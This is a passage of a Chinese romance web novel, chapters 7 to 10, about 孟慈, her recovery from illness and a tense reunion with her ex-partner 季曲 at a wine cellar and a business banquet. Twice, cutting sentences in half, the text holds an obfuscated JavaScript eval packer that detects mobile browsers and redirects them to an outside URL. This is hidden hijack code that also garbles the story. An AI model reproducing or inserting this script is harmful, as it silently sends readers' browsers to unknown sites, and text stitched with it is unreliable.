总不能是季曲的爸爸来了吧? 方萤在旁边抱着手机疯狂打字,期间还不忘看一眼孟慈在干什么。 孟慈用余光打量着谨慎过头的方萤,心下暗自想着,高材生就是高材生,看起来连撒谎都不熟练。 自觉在方萤这边挖不出什么有用的消息。 孟慈找了个借口,说在自己刚楼下看到一台自动贩卖机,她突然想喝冰水。 方萤没多想。 只是安顿了旁边的护士帮她找看下孟慈,便匆匆地下去了。 等过了几分钟。 确保方萤已经走远了,孟慈才闲聊似的和身旁的护士问了一些事。 孟慈捏着纸杯,喝了一小口水,说:“我记得我读书的时候过来看病都是在旧楼,地板都是黑色碎花砖的。” 护士看到孟慈的水快喝完了,换了杯新的递给她,“是的呀,最近几年医院收了不少捐赠,国际部也是前年冬天才成立的。” 孟慈点点头:“昨天我来输液的时候还碰到有人参观,也不知道是不是我当时烧糊涂了,只看到黑压压的一片。” “昨天吗?”护士有些疑惑。 她回忆了一会儿才说:“我昨天轮休,没看到有人过来,不过前两天听领导们说好像最近是有人要捐一批仪器过来,但是不知道是不是昨天。” 护士一边说一边拿出手机翻找院方的公众号。 她说一般有人捐赠的话宣传口的同事都会专门报道。 等待文章加载的途中,孟慈突然有些心慌, 如果大夫现在来把脉,一定又要给孟慈加几组检查。 “哎,还真报道了,您看是不是这几位?”护士笑着把自己翻到的文章送到孟慈跟前,还特地点开了配图。 孟慈看过去。 十几个人并排站着,最中间还有人捧着一副牌匾。 她的视线落在最中间的位置。 深色西装,灰色领带,还架着一副黑框眼镜。 还真是孙谦。 “好像没错。”孟慈笑笑,收回自己的视线,心脏的跳动速度恢复正常。 护士补充道:“不过一般这些企业的老总们都不乐意拍照片,大多让自己的秘书或者其他人替代,毕竟做好事不留名嘛。” 孟慈点点头,挑了点无关痛痒的话回复。 在方萤回来前匆匆结束了这一段对话。 手里新换的水又凉了下去。 孟慈被窗外的秋海棠吸引。 粉红颜色的花朵压了满树,遥遥一望,甚至比公园的那些开得都要好。 可惜开在这里没人观赏。 过了没一会儿,方萤回来了,她说她刚刚去问了大夫,大夫孟慈还不能喝这些。 原本以为还要劝一会儿才能让孟慈放弃,却没想孟慈在自己说完这句话后只是淡淡地说了句好。 方萤有些疑惑,她看着正在用手机给秋海棠拍照的孟慈不免多想,“你今天怎么这么好说话?” 孟慈拍了几张转手发给妈妈,才回答方萤的疑惑,“怎么了?” “你是不是趁我不在干什么坏事了?” “我又不是小孩子。” 孟慈一边打字一边回答。 她只是想确认一下送她回家的人到底是谁而已。 方萤不信,又看了眼护士, 护士也点头,说孟慈一直在这坐着和她聊天,什么都没干。 “你看吧。”孟慈一脸无辜。 她收起手机,双手撑在窗户边,从微敞的窗户缝中仿佛能闻到秋海棠的香味。 算了,无所谓是谁送她回家的。 季曲也好,孙谦也罢。 不过是说句谢谢而已。 一句谢谢而已。 - 傍晚,孙谦接到了院方的电话,他抬眼看了下已经坐在车子后座上的季曲,默默下车走远了几米才接。 “孙秘书,我们给孟总做完检查了,没什么大问题......” “嗯,知道了,麻烦您照顾了。” 简单客套几句孙谦便快速上了车,他可不敢让老板等着。 晚上季老爷子临时叫人回家,定好的应酬只能往后再拖。 好在季曲的面子足够用。 别说拖几个小时,就算是拖上几天几月,只要能见上季曲一面就是好的。 季家祖上几代,长于北城,发于北城,也深扎于北城。 到了季曲这一代,早已根深蒂固。 季荣涛和华婉生了两个儿子,分别在不同领域深耕。 季曲作为弟弟,主要在商业领域把舵。 平时开会都是回季亮鸿的老宅子去。 但是最近换季,季亮鸿有些伤风,咳嗽了小半个月,连带着肺也有点不舒服。 季荣涛和华婉合计了一下,便做主把老爷子接到了自己家。 毕竟城中心的空气质量太差,吸一口气半口都是霾。 季家的房子依山而建,傍水而居。 经过大门口的保安检查后还需要开上大半个小时才能到房子入口。 管家和佣人早早就接到消息候在门上,看到季曲下车便立马递上毛巾等物。 “墨园怎么围起来了?” 季曲拿起热毛巾擦了擦手,想起刚刚回家的路上看到华婉一贯喜欢的去处被围了挡板。 管家回答道:“前两天沈小姐来了一次,夫人带着她进去逛着玩,结果出来没一会儿便发现脚腕上起了小粒的红疹,大夫来看说是过敏,夫人就让工人把院子里可能引发沈小姐过敏的植物都铲掉,换一批新的来。” 季曲听完说:“铲了也好,她喜欢去那儿呆着,小心那天自己也沾到过敏。” 管家附和了一句:“您父亲也是这么说的。” “至于沈小姐……”季曲想了想,“从家里找点东西送过去吧,毕竟是在咱们这儿出的问题。” “夫人已经打点过了,人参、冬虫夏草等滋补的药材就送了两大箱,另外上次沈小姐来的时候说是客厅的屏风好看,夫人就一起搬走了。”到底是自己未过门的媳妇,就是上心,管家这么想着。 “客厅的屏风?”季曲过桥的脚步顿了一下,“我去年从巴黎的拍卖会上拿回来的那件?” “是的。”管家点头,虽然屏风价值连城,送出去是有点昂贵,但毕竟是送给自家人,以后还要带回来的。 季曲颇有些意外,在脑海中搜索这号人物,竟能让华婉这么上心,“哪位沈小姐?” “哪……哪位?”管家被问的一懵,“您的未婚妻,沈棠溪啊。” 季曲微蹙的眉心写出记忆中的一抹空白。 是了,他还有位仅仅一面之缘的未婚妻。 季曲进家时大家已经都坐在书房等待季亮鸿下楼。 阿姨在季曲进屋前递了一蛊补汤给他,说是华婉安顿的,晚上空腹太久对身体不好。 草草吃了两口,季曲便推门进了书房。 找到自己的位置落座。 季曲虚抚了下衬衣下摆,拿起桌上的茶杯轻饮了一口,终于压下嘴里的腻感。 “最近很忙?瘦了。”华婉打量了季曲一会儿,冷不丁蹦了一句。 “没瘦,还胖了点。”季曲放下茶杯。 “你妈每天就盼着你们回家,偏偏每个都往外跑。”季荣涛替自己老婆说话。 “那不是把季欢倾给你们送回来了。”季澈笑了笑。 他五年前结婚,婚后一年就生了女儿,现在刚好到了上幼儿园的年纪,每天蹦蹦跳跳的见什么都新奇。 华婉:“还说呢,淘气的不得了,上次棠溪来非要缠着人家抓蝴蝶,我就怀疑是那会走到花丛里不知道沾上什么过了敏。” “小欢没事吧?”季曲听到小外甥女也在不免多问一句。 那孩子白白嫩嫩的,生了一双大眼睛,可爱得紧。 季澈摆手:“没什么 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“你最近和沈小姐怎么样?”华婉单刀直入。 把从家里带出来的羊绒大衣披到华婉身上,季曲才慢悠悠地在亭子里落座。 季曲靠着椅背展了展腰:“挺好的。” 华婉挑眉:“没骗我?” 季曲笑:“真挺好的。” 怎么不算好呢? 两个没有交集的人即将因为一纸婚约而改变彼此的生活方式。 甚至他都快忘了自己还有一位沈姓未婚妻。 季曲远望湖面,月亮映着波光粼粼。 “那就好,我挺喜欢那孩子的,性格和你正好互补。”华婉看着面前总是一副淡然模样的季曲暗自叹气,明明小时候也是个可爱的孩子,总会缠着自己要糖吃,怎么长大了还变了这么多。 “喜欢就好。” 百善孝为先,季曲始终记得这句话。 “安翰怎么样?和小芷的事有信儿没有?”华婉又想起自己手里还有一桩姻缘要牵。 季曲想了想那天的场景:“安翰没有,他后妈有。” 华婉皱眉,显然不甚满意这个答案:“要不然安排两个人先见见?” 季曲脑海中浮现出安翰指间的那支戒指,试图打消华婉的念头:“安翰有女朋友,好久了。” “女朋友就是女朋友,结不结婚又说不准。” “您给我做主不就行了,干什么还管其他人的闲事。” 季曲的精力被公司耗了大半,不想剩余的还要被这些儿女情长牵绊。 再加上自己和安翰也算有几分交情,没必要逼人就范。 说者无心听者有意。 华婉本就敏感。 听到这儿,不由得觉得儿子是嫌自己乱做月老。 “怎么?你不满意沈小姐?那你怎么不早说?你爷爷和人家爷爷是老战友……”华婉不停地输出,“再说了,要不是我们给你定,你自己能找回什么来?老大不小了,你大哥的孩子已经满地跑了,就你自己连个伴儿也定不下!” 眼看着华婉说得要急眼,季曲连忙告饶:“妈…妈,我没说自己不喜欢啊,您又想多了不是?不喜欢我能和她订婚吗?您又不是不知道我的性子。” “谁知道呢,你们兄弟没一个让人省心的!” 华婉越说越恼,干脆站起来给季曲甩了个冷脸就回去了。 季曲自己被留在亭子里。 追上去也没用,华婉从小就被惯着长大,脾气急又大。 反正有季荣涛哄,季曲干脆坐在原地欣赏夜景。 风从河面刮过来,带着冰冷水汽,吹得人凉飕飕的,连带着周围的植被都跟着飘摇。 华婉精心培育的菊花被吹掉不少花瓣。 不过反正瓣数多,掉些也无所谓。 季曲对面是诺大的城市。 水窄的地方能看到列车载着旅客,一趟接着一趟送。 望了一会儿,季曲的电话响了。 陌生的号码,抬手直接挂断。 还没等思绪再次沉寂,铃声又响。 本地的号码,一串数字看着看着多了点熟悉感,响到一定时长,又自动挂掉。 屏幕还没来得及暗,又被唤醒。 对面的人正第三次等待被接通。 季曲按下接听键。 “季曲?” “……” “季曲?我是佳熙。” “……我知道。” 季曲几乎是在听到对方声线的瞬间,就想起来电话那端的面容,毕竟昨晚刚刚见过。 “我是不是打扰到你了?” “没有。” “今天还回来吗?我买了好多你喜欢吃的菜……” 季曲没说话。 订了婚之后,华婉便一直敲打季曲让他把手机里的花花草草清理干净。 只不过季曲自己没当回事。 毕竟比起圈子里的其他人,自己养着的真不算多。 只不过是有几个清净去处罢了。 但是现在,季曲倒是也有了处理掉的心思。 “缺什么?” “……我吗?”对面突然开始慌乱,可能是因为季曲的冷漠,也可能是察觉到自己的命运,“我什么都不缺,你是不嫌我打扰到你了?我就是想你了,真的……” “想好要什么就和孙谦说,算是礼物,房子下个月我会找人去打扫。”季曲轻飘飘地打断,“以后别再联系我。” 细碎的菊花花瓣落在脚边。 季曲捏了一小瓣儿起来,观赏一会儿,又迎着飘来的一阵风放开手。 嫩黄便在空中打着转儿消失了。 8. 第 8 章 大约一周。 孟慈的身体才断断续续的好利索。 除了还会偶尔咳嗽外,其他都已经痊愈。 但是加上其他原因,返程的航班改签又退票。 养病期间,二附院的院长一天三次的定时“查房”。 孟慈接他的电话比接方萤的电话都要多。 看着一把五颜六色的药剂,孟慈不常见地犹豫了一会儿。 缓了口气,她一口气全部扔进嘴里。 失去糖衣的药片化在舌尖。 即使一天三顿的吃孟慈也不可避免地苦了脸。 一口气喝了半杯水,嘴里的苦涩味才散去。 还有包新的没拆开,但是孟慈已经不打算吃了。 是药三分毒。 孟慈自认为多喝热水也能好起来。 阿姨盯着孟慈吃完药,送了一碗鸽子汤。 孟慈接过喝了两口,有些腻。 阿姨又在一旁问晚上想吃些什么。 还没等孟慈说话,梁漠就发来消息说他已经到了。 孟慈穿好衣服拎好包,和阿姨说自己晚上会在外面吃完才回来,阿姨可以提前下班。 阿姨点点头。 又安顿给孟慈千万不能喝酒,生冷辛辣的也不要沾,好不容易才好了一些。 孟慈临走时阿姨又追出门给她加了一件披肩,干脆把她当作小孩子一样顾。 毕竟人家也是好心,孟慈也就没拒绝。 任由阿姨给她披好,道谢后才上了电梯。 梁漠的车子停在门口。 一上车他就从后座上拿过一堆纸袋。 其中分门别类的装着各类食品。 “蜂蜜柚子、枇杷膏、秋梨膏……”梁漠挨个介绍。 “知道你不缺好东西,但是裴阿姨最近都在外面旅游,估计没人给你做这些。” 孟慈的妈妈最近到了南半球,租了间房子住下来玩,正在兴头上。 一天能给孟慈发几十张照片和数不清的小视频。 就连家门口路过一只小动物都要拍下来。 “谢谢。”孟慈没拒绝,人情慢慢还就好了,毕竟还有其他要拜托梁漠的事情。 方萤最近汇报工作的时候提到,公司有个商务合作出了点状况。 两年前合作方和孟慈达成一致,直接签了三年合作期。 续约本来也谈得好好的。 但是签字前夕对方公司突然更换了项目负责人。 不仅婉拒了续约,还摆出一副未来不打算合作的姿态。 黄景峰明的暗的跑了不少关系说了不少好话,仍旧没拿下来。 刚好孟慈也在。 黄景峰便问了下她愿不愿意一起约对方吃顿饭,探探口风。 毕竟这么大的买卖,人家在没见过对方公司老板的情况下犹豫再三也正常。 对方公司新上任的负责人在法国工作过一段时间。 平常喜欢品酒藏酒。 北城顶尖的酒庄也就那么几家。 方萤拿到资料的时候却十分头苦。 因为这些酒庄全都不对外开放,仅供私人。 就算联系了黄景峰,他也说只能托人先预约时间。 至于什么时候能进去可就说不准了。 孟慈不爱喝酒,也不懂酒。 之前有生意需要也都是去季曲的酒窖里随便取一瓶用,或者直接让季曲帮忙挑。 因此也没积累这方面的人脉和经验。 正发愁时,孟慈突然记起来梁漠好像对这方面比较熟悉。 毕竟他每次返校探望老师时,带的都是酒。 本来只是想问问他有没有什么建议,却没想到一个电话过去解决了大问题。 梁漠的爷爷年轻时在法国做过生意,对当地的葡萄酒文化颇为了解。 回国后和朋友合开了一个私人酒窖。 后来自己家的产业越做越大,这点小油水也就看不上了,干脆转手出去。 接手酒窖的老板后来也时不时地给梁漠爷爷送点罕见的藏酒。 一来二去,梁漠也就和那个老板熟了起来。 听说是孟慈想要一瓶,梁漠连忙说自己不用预约就能带孟慈进去。 孟慈自然乐意。 也因此。 梁漠终于在国内见上了孟慈的第二面。 - 季曲这周有个项目要考察。 便一直在北城待着,没往外跑。 郊外的飞地早在几年前就已经买好,只差政策支持。 听说最近应该要有动作,消息已经泄出去不少,示好的公司数不胜数。 季曲没时间挨个见面,便安排手下的人先做筛选工作,自己拍最后的板。 不算宽敞的包厢内却处处可见奢侈物件, 明清时期的花瓶、唐宋时期的字画……堆满整个空间。 季曲一副休闲打扮坐在最中间,晃着杯身醒酒。 “季总这次还想自己做?”胡志是做建筑材料的大户,三分之一的市场几乎都拢在手里。 “没想好。”季曲靠在沙发背上,左腿搭着右腿,手里抓着一支通体黑色的打火机玩,啪嗒啪嗒的响,满身矜贵样儿。 自从上次季曲在安东升家的宴会上留下暧昧不清的那句话后,圈子里的哪个不想挤进季家的新项目。 别说对半分,就算全部拱手送上都是乐意的。 毕竟都是见过大风大浪的,比起眼前的蝇头小利更得看的长远。 “我们这边倒也收到了不少消息,要是季总有想法,我们随时配合。”胡志话说得直接,好不容易抢到见面的机会,总得将投诚的决心淋漓尽致地展现出来。 季曲听到这儿,勾了下唇角。 他拿起酒杯虚空往胡志的方向倾了一下。 话不说满。 “带胡总去挑两瓶酒,我就记得您儿子今年结婚?就当是我送的贺礼。”季曲安顿孙谦。 “好的季总。”孙谦立马起身。 胡志那边立马便知道自己得回避。 他敞怀一笑:“多谢季总惦记,那我可就放开挑了。” 季曲:“最好不过。” 富丽堂皇的包厢内只剩下季曲和陈昱通。 这个私人酒庄的老板,也是季曲的手下之一。 “那就交给他们做?”陈昱通没有孙谦修炼的好,能识老板眼色,只能开口询问。 “看看诚意,其他再说。”季曲将杯中酒饮尽。 陈昱通还有担忧:“但是如果消息准确的话,这个月月底应该就会内部招商了,要不要再接触下别家?也好有个备选。” 季曲摇头:“这不是什么油水多的项目,只是抛个橄榄枝出去,能引到龙凤是好的,引不到的话,就这么点投入,自己出也无所谓,就当盘盘死水。” 观察着面前风淡云轻的季曲。 陈昱通心中庆幸。 他轻皱的眉应该只是因为今天开的这支酒太过涩口,并不是因为什么别的。 “您先随意看看,这是我们老板的藏酒墙,要是有喜欢的我再给老板讲。” “好。” 突如其来的人声飘进包厢。 孙谦离开的时候季曲没让他关门。 原本是想散散屋子里的酒气。 却没想到酒气没散尽,飘来的一个字音就把季曲的眼皮子勾了起来。 酒庄二楼是会客的包厢。 一楼则是陈昱通用来展示的区域。 五米高的墙全部打成存酒的小格。 为了保持酒的品质,大厅常年保冷保湿。 孟慈独自站在酒墙前。 身上裹着黑色老花logo披肩,一直延伸到腰臀处才停下。 往下是紧致的裙身,衬得整个人纤细又挺拔。 为了看瓶身上挂着的标签,她微微仰头,顺滑的黑丝通通向后滑落,露出光洁如玉的一节脖颈,其间坠着一根细链,湖蓝色的宝石熠熠生辉,晃得人心颤。 季曲走出包厢,来到二楼的栏杆处,伸出一只手搭在上面,食指屈起轻敲。 陈昱通跟着出来,视线越过季曲的肩膀,在看到孟慈的一瞬间他不可避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345813|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免地愣了神。 这位怎么在这儿? 安东升办宴那天他也在场。 多多少少看到也听到了季曲对这位的态度,未来应该是没什么关联了。 季曲语气平淡,和他的听到人声就起身寻出来的动作截然不同。 “你这儿对外开放了?” 陈昱通站在稍靠后的位置,连忙否认:“没有啊,我就记得经理说今天有人要来选一支酒,还是梁老爷子托的关系,说是要的急,我就让人来了,确实没想到来的是孟总……” 陈昱通看看楼下专注的的孟慈,又看看季曲依旧平静的侧脸,一时间不知道该怎么继续,索性后退一步,不再多看。 “我就记得你做生意挺靠谱的。” “……啊?” 季曲淡淡道:“别诓人家。” 孟慈正专心致志仔细地研究标签,却也分辨不出好坏。 只能记得哪种在季曲家见过,哪种和季曲喝过。 想着想着,孟慈就失去了兴致,踮着的脚尖也落在地面。 怎么又想起他了。 “孟慈,我拿了两瓶我的,你看看能不能用。”梁漠一来就让经理带他去取自己的藏酒,因为自己也有迎来送往的需要,就干脆在这儿租了存酒窖,方便第一时间取用。 听到声音的孟慈从酒墙上抽身。 彻底转向梁漠,背对季曲。 接过梁漠手里的两瓶酒左右看看,孟慈苦笑:“我不懂这些,要不然你帮我决定吧。” 梁漠原本忐忑的心在听到这句话后陡然放松:“那交给我吧,女孩子大多不研究这些……” 孟慈笑笑,把酒送回到梁漠手上。 还没等说出话便突然感觉嗓子发痒。 她连忙用手掩着扭身,极力克制着轻咳了几下。 “怎么了?不舒服?” 梁漠上前两步,连忙关心道:“是不是冷到了,咱们走吧,酒也挑到了。” 本想说自己没事,但是喉咙处的痒意愈发明显。 孟慈一时间没说出话,只能干摇头。 “稍等,我去倒点水。”站在一旁的经理看到这番动静连忙离开。 “麻烦了。”梁漠见孟慈越咳越起劲,着急上手给孟慈顺了顺后背。 孟慈感受到背上的力道,刚想抬手拒绝,却不想对上了二楼那人的双眼。 季曲指间夹着雪茄,面孔隐在袅白烟雾后。 一贯淡漠的眸子镀了层冷意,压抑无尽的黑。 他就这么看着,撞上孟慈的眼神也没回避。 这好像是两人分开这么久第一次见面。 不是上次在安家宴会上的错身,而是直勾勾的、实打实的见了彼此的面。 “孟小姐,给您水。”经理很快返回来。 孟慈被唤回精神,接过水杯小口小口地抿着,期间梁漠的手依旧停留在孟慈的背上。 干痒感暂时被压制,孟慈把水杯还给经理,“…咳咳……麻烦您了。” “您客气了,我们大厅常年温度偏低,您可能受凉了。”经理服务到位,主动揽责。 “那我们先走了。”梁漠看工作人员已经把酒包装好提了出来。 “我送您离开。”经理伸手带路。 孟慈在梁漠的虚拥下抬脚离开。 期间总感觉背后的视线还在一路跟随。 但她没回头,毕竟都是过去式。 陈昱通听完刚刚季曲的话后心下暗道人还是念旧。 脸上换上几分笑意:“那当然了季总,您放心,我再挑两瓶好的给孟总送去。” 眼看着孟慈和梁漠离开,季曲依旧留在原地,像是在发呆。 直到指尖的雪茄燃出一截灰烬打在栏杆,他才收回眼神。 “在商言商,亲兄弟明算账,你这样哪天破产了都不知道。” 季曲撂下这一句便回了包厢,留下陈昱通愣在原地。 他探头看了看已经人去楼空的一层,又回头看了看季曲离开的背景,陷入沉思。 不是? 季曲到底什么意思? 9. 第 9 章 几次衡量下来,飞地项目总算落了地。 搭伙的人们做东为季曲置了酒。 季曲应邀出席。 地点定在一处山坳中间。 前不着村后不着店。 却有一处富丽堂皇的建筑坐落,私密性极强。 季曲在席间碗筷几乎未动,仅有杯中酒下了又下。 说他拒人千里之外。 但大家的敬酒他也照单全收,丝毫不推拒。 但若说他平易近人,好像又太过牵强。 可能是从小培养的习惯,人们很难在季曲脸上寻到极大的神色波动。 他一双深如湖渊的眸子总是淡淡地压着,俯视一切。 席间偶有玩乐时,他也仅会瞥一眼过去。 然后配合地勾勾薄唇,似笑非笑。 酒宴过半。 窗外的夜色漆如瀚海,霓虹灯色在山间如同白昼,几乎要亮过头顶的夜色。 白日里道貌岸然的伪装逐渐脱下,该换面了。 随着胡志的一个眼神,服务生熟练地调整好屋里的灯光。 一众“新肴”鱼贯而入,点缀着暗淡的夜。 大家摸不清季曲的“喜好”,仅有的一点消息也只是从“老人”嘴里拔出来的。 费尽心思,只能从两方面入手。 一种照着孟慈的模样照猫画虎地找,一种则是向完全对立的方向去寻。 孟慈清冷,就寻明媚。 孟慈姿如春江古画,就寻面如烈夏桃花。 男人嘛,要么从一而终,要么喜新厌旧,逃不脱的。 季曲身边一左一右落了两位。 大家在你来我往的眼色中观察季曲的反应。 他的脸略微往左侧了几分,虽然微乎其微,但是也被大家捕捉到。 还是喜欢孟慈这款的。 袁晶第一次接这种活。 要不是家里还有躺在病床上的妈妈要养,她一定不会在对她而言是天价的数字前低头。 但是幸亏,她的“老板”就目前来看不仅不令人反感,反而还有一种诱人深陷的意味。 接到胡志暗示,她沉了沉气,伸出细白的双手颤巍巍地向季曲敬酒。 即使在昏暗灯光下也能感觉到她生的晶莹剔透的双眸。 真是爸妈生的好。 外形再修整雕刻也抵不过眼底天生的一抹灵动。 隔空扫了眼袁晶充满期待的那双眼,季曲冷不丁笑了下。 他伸手接过空中的酒杯,仰头饮尽。 随后便拨开身边的花藤起身,头也不回地向在场众人撂了句,“抽根烟。” 厅内的人们本来还在暗喜季曲接了酒,却不想没隔几秒便又陷入疑惑。 这到底是看上了还是没看上? 赵一辰也在席间,他看到这副情形,拉着孙谦连忙跟了出去。 包厢与包厢之间都有迂回的走廊与屏风做挡。 季曲绕了几步走到露台,拨开沉重的纱帘,终于见到新鲜空气。 “哥,抽烟啊。”赵一辰紧跟着出来。 “嗯。” 季曲面朝外,双手撑在象牙白的扶栏上,截断一抹月色。 赵一辰观察着季曲的神色,怎么品怎么不像好兴致的模样。 几番思衬下,他把手放到身后挥挥,想让那位离开。 但是不知道袁晶没有眼色还是非要傍上这艘大船,竟然不知趣地抬脚跟了进来。 “季总,我给您送个火。”袁晶在距离季曲还有一步距离时停下,捏着语调娇柔开口。 季曲应声回头,顺势往后一靠,双手抱在胸前细细地打量起面前青涩的人。 刚刚看得不清。 现下见了光,倒瞧清了。 真是辛苦他们,竟还真找了位形似二三的来。 “今年多大?” “22。” “刚毕业?” “嗯,六月刚离校。” “学什么专业?” “经管。” 一问一答就像是面试官在挑选商品一样。 赵一辰站在旁边一头雾水。 早先胡志他们要找人的时候他就知道,但是却不抱希望。 因为季曲的心思太过难猜。 赵一辰往孙谦那儿送了一个疑问的眼神。 却不想对方一副耳目闭塞的模样,根本递不出什么有用的信息。 那边季曲还在压着眸子询问,颇有几分感兴趣的样子。 “谈过恋爱吗?” “没……没谈过。” 听到这儿,季曲才淡淡地勾着唇松了几分面容。 怎么可能呢? 没谈过恋爱。 “回去吧。” “嗯?”袁晶一头雾水,但是外面的那些老板可是给了十足十的诚意,再加上季曲确实出众,跟着这样的人也不亏。 她又开口:“但是我的火还没给您呢。” 原本已经背过身的季曲听到这又偏头看过来。 这次袁晶倒是大方。 一双眼直勾勾地盯着季曲送情。 哪能找到一模一样的,形似几分已经不易。 季曲刚想让孙谦送人离开便听到旁边露台的包间里飘了句话出来。 语气轻佻得不像样。 “孟总一晚上怎么光坐在这儿看,不吃也不喝的?不会是看不起我们吧?” 这句话不止季曲听到了,赵一辰和孙谦也都听到了。 室外的露台没法做隔档,不远不近的距离倒是也够用。隔着若隐若现的纱帘,能看清几分屋子里的景象。 孟慈坐在主位。 黄景峰在她右手边。 左手边的男人仅露一个侧面,已经解开几寸的衣领和通红的脖颈完全彰显出这位已经醉上了头。 季曲敛着眸子打量。 细烟还没来得及点燃,此刻正被他咬在唇间。 “孟总喝不了,我陪陈总喝。”黄景峰不动声色地越过孟慈提了杯酒。 “黄总这就没意思了吧?早就听说过孟总的大名,真是百闻不如一见。” 陈栋非就是公司那个出问题的商务合作的负责人。从梁漠那儿带来的酒,早在饭局开始就喝了个干净。 孟慈抬手抚过耳鬓的发丝,勾唇开口:“不好意思啊陈总,最近在调理身体,大夫交代不让碰酒,我只能以茶代酒了。” 陈栋非酒劲上头,死活不同意。 期间还拉扯出合同问题。 说是孟慈如果赏脸,别说今年,未来几年的合同他都能做主签了。 还立马叫秘书去找地方打合同。 陈栋非是第一次见到孟慈,被她迷了眼再正常不过。 气氛逼到这,饶是黄景峰再护着孟慈也没法推拒。 公司姓孟不姓黄。 下面还有两三百人等着吃饭养家。 孟慈来之前就做好心理准备。 垂着眼算了算解酒药起效的时间,她终于端起面前斟满杯的白酒,隔空敬了一下。 随即仰颈饮尽。 席间顿时欢呼声鹊起。 陈栋非一边笑一边又给孟慈夹了块红烧肉。 说这家的厨师是老板花大价钱挖来的,其中最拿手的要属面前这道浓油赤酱的红烧肉。 这道菜一上桌孟慈就看到了。 又是干冰又是梅花,再独特不过得造型摆盘。 这位厨师之前没少在季曲家露面。 只不过孟慈实在吃不惯肥肉,这道菜便没上过孟慈的饭桌。 裂纹瓷杯里的茶水始终保持温热,孟慈略过餐盘端起递到嘴边抿了一小口。 陈栋非见状也没恼。 只不过眼里的觊觎神色丝毫不加遮挡地流露出来。 黄景峰眼看不对,连忙冲秘书使了个眼色,赶紧上点其他节目。 季曲没见过陈栋非,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345814|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道什么人物能让孟慈低声下气至此。拿下唇间未燃的烟,他不知道在向谁提问:“她现在混成这样?” 赵一辰也看见刚才的一幕。 是有些不好看,但是都是出来做生意的,见怪不怪罢了。 但是他有些没懂季曲突然变重的语气是为了什么。 孙谦的视线落在角落的那盆迎客松上。 没接话。 过了几秒,季曲说自己要去洗手间,没让人跟。 赵一辰看着季曲离开背影,才和孙谦小声道:“我哥什么意思啊?” 孙谦思考了一番才开口:“可能是觉得孟总有些委屈了。” 赵一辰瞪大眼睛,有些无语:“委屈?这有什么委屈,不就喝了杯酒,黄景峰也一直护着……” “比起之前。”孙谦打断喋喋不休的赵一辰。 “什么?”沉浸在自己的酒桌规矩,应酬道理中的赵一辰没听清孙谦在说什么。 “我说比起前几年,孟总确实委屈了。” 孙谦推了推眼镜,拍拍赵一辰的肩膀,代替自己的老板先回到酒局中。 赵一辰霎时间住了嘴。 他回想几番,还真是。 不合口味的菜肴,见不得光的社交规矩,逼到脸上的烟酒…… 尤记得当初。 社交场上大家能和孟慈搭到点关系都得私下筹谋小半个月,更遑论敬酒时酒杯都会不约而同的低她几分。 比起和季曲在一起那段时间,真是委屈孟慈了。 那边的包厢里,趁着黄景峰把人绊住,孟慈借机溜走。 陈栋非喷了不知道什么款式的古龙水。 浓烈到孟慈挨着他的半边身子都沾了点。 再加上刚刚给自己倒酒时陈栋非还“不小心”地拉了把自己的手。 孟慈总觉得难受。 走廊尽头有公共洗手间。 孟慈用了支漱口水,薄荷凉气直冲脑仁。 她又开了冷水冲手,搓到皮肤泛红才停下,随手抽了张面巾纸将水渍吸尽。 孟慈听到身后有脚步响起。 不急不缓,沉重有力。 她平静抬眼在镜子里一扫,刚好与季曲对视。 不算明亮的光影布局间,季曲的轮廓称不得清晰。 他剪短了几寸发。 显得整个人更显精干,也更不近人情。 但微敞的衣领却给他增添几分慵懒随意。 “之前白给你撑腰了?”季曲声线微冷。 这是两人再见面的第一句话。 没有重逢缱绻,全是凛冽。 孟慈没回答。 她把纸扔进垃圾桶,缓缓转身。 直到与季曲面对面。 没点燃的烟还夹在指尖。 察觉到孟慈的眼神,季曲下意识地把手往身后藏。 刚躲了一半便猛地反应过来,两人早就断的干净,自己没必要再照顾她,对她践诺。 在昏暗灯光下微微摇头。 季曲似乎是对自己的反应感到无语。 定了定神,对着孟慈潋滟的眼,季曲再次开口:“有需要帮忙的就找孙谦。” 找我也行,毕竟不是陌生人。 只不过剩余的话季曲没说出口。 当时孟慈走得洒脱,把自己送的礼物一股脑打包寄了回来。 连解释的机会都没给季曲。 太倔了,不是什么好事。 季曲指间夹着烟轻捻,等孟慈的回应。 孟慈看着季曲,平淡地就像看一位初识者,客气地说:“不劳季总费心。” 没等他回应,孟慈先抬脚离开。 速度快到对她来说彷佛季曲是什么避之不及的人。 走廊有些窄,她不得不与季曲擦肩。 “等等。”季曲的身体越过大脑率先作出反应,在孟慈路过的短短几秒,自己已经把对方的手腕拉住,“和我这么生分?” 10. 第 10 章 凸起的腕骨,嫩滑的皮肤,以及再熟悉不过的触感。 身体先认出对面的故人。 孟慈垂眼看着交叠的手腕,一瞬间竟有点晃神。 仿佛电影镜头闪回。 两个人还是之前的模样。 今晚只不过是再平常普通的一晚。 酒局太过枯燥,季曲会提前揽着自己并肩离去。 只不过…… 现下自己只是出来透气,马上还得回到枯燥酒局中周旋卖笑换利益。 幸亏自己的笑还值几分价钱。 不过几秒时间,孟慈就已经挣脱。 她顺势撤了几步,靠在墙面,最大限度地拉开两人间的距离。 季曲对孟慈的回避动作有些意外,他盯着自己被甩开的手,滞了几秒后从虚空中收回。 “我的司机在外面,可以送你走。” 